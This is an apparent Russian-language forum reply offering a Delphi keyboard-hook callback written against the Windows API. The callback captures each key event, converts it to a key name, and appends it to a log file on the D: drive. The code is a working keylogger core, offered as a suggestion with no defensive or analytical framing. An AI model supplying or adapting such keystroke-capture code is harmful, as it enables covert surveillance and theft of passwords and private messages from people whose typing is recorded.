а лутше на вин апи написать
Code
function MsgProc(Code: integer; wParam: Word; lParam: Longint): Longint; stdcall;
var
f: cardinal;
nw:cardinal;
key: array [0..16] of Char;
Enter: array [0..1] of char;
begin
result:=CallNextHookEx(myHook,Code,wParam,lParam);
if (Lparam < 0) then
begin
Enter := #13#10;
GetKeyNameText(lParam,key,SizeOf(key));
f:=CreateFileA('D:\mouselog.txt',GENERIC_ALL,FILE_SHARE_WRITE,0,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);//открываем файл, если его нет то создайом новый
SetFilePointer(f,GetFileSize(f,0),0,0);//идем к концу файла
WriteFile(f,key,SizeOf(key),nw,0);//пишем букву
WriteFile(f,Enter,2,nw,0);
CloseHandle(f);
end;
end;